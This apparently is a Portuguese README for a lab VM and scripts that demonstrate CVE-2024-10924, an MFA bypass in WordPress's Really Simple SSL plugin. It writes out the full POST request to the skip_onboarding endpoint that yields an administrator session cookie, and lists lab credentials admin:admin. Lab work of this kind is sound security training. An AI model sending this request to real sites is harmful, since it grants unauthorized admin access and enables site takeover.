
Ambiente de laboratório e script de exploit para CVE-2024-10924, demonstrando bypass de MFA no WordPress através do endpoint skip_onboarding do plugin Really Simple SSL.
Este repositório fornece um laboratório para explorar a vulnerabilidade CVE-2024-10924 no WordPress, especificamente para contornar two-factor authentication (MFA) e obter acesso ao painel de administração do WordPress.
Para implantar este laboratório no seu ambiente, siga os passos abaixo:
Você terá que descompactar o zip do LAB, no VMWare você terá que clicar em Open para importar uma máquina, selecione o arquivo chamado Ubuntu-Bypass-MFA-Wordpress.vmx, e finalmente terá que clicar em Power para ligar a máquina vulnerável.
Na sua máquina Kali, instale as ferramentas necessárias e certifique-se de ter os seguintes aplicativos instalados:
nmap: Para realizar varreduras de rede.requests: Para fazer requisições HTTP (se não tiver, instale requests com pip install requests).rich: Para saída elegante no console (instale com pip install rich).Para obter o IP da máquina WordPress no ambiente de rede, execute o seguinte script a partir da sua máquina Kali:
$ python3 knowIPwordpress.py
This script does the following:
Detect your local IP.
Scans the corresponding network segment to find active IPs.
Perform a port scan for HTTP services.
Check that the WordPress machine's IP has the title "Bypass-MFA" in its HTTP service.
Once found, it will show you the URL where you can access the WordPress administration panel:
Accede a WordPress en: http://<IP>/wp-admin
admin:admin
Quando tentar fazer login no WordPress, ele solicitará two-factor verification (MFA). Para contornar esta etapa, execute o seguinte script no seu Kali:
$ python3 bypass-MFA-Wordpress.py
Como funciona o script bypass-MFA-Wordpress.py
Este script explora a vulnerabilidade CVE-2024-10924 e contorna a verificação dupla para obter acesso ao painel de administração do WordPress.
Obter cookie de sessão: O script faz uma requisição HTTP para o endpoint reallysimplessl/v1/two_fa/skip_onboarding para obter um cookie de sessão válido.
A requisição é enviada com as seguintes informações:
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
Uma vez obtido o cookie, o script solicita o nome de usuário e senha do WordPress. Em seguida, faz uma requisição POST para o endpoint wp-admin/profile.php com as credenciais fornecidas para fazer login.
Se o bypass for bem-sucedido, o script salva a resposta do painel de administrador em um arquivo .html e o abre no seu navegador padrão.
Agora você terá acesso ao painel de administração do WordPress!
Se você quiser fazer manualmente com BurpSuite e quer saber o Endpoint para o qual devemos enviar a requisição para capturar os Cookies, podemos fazer da seguinte maneira
$ python3 endpointWordpress.py
Isso nos dirá o código que teremos que colocar no BurpSuite para capturar os Cookies, no meu caso seria algo como:
POST http://192.168.5.192/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: 192.168.5.192
Content-Type: application/json
Content-Length: 89
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
https://github.com/user-attachments/assets/e70789d1-4fe4-46b4-81ef-76229dd265ce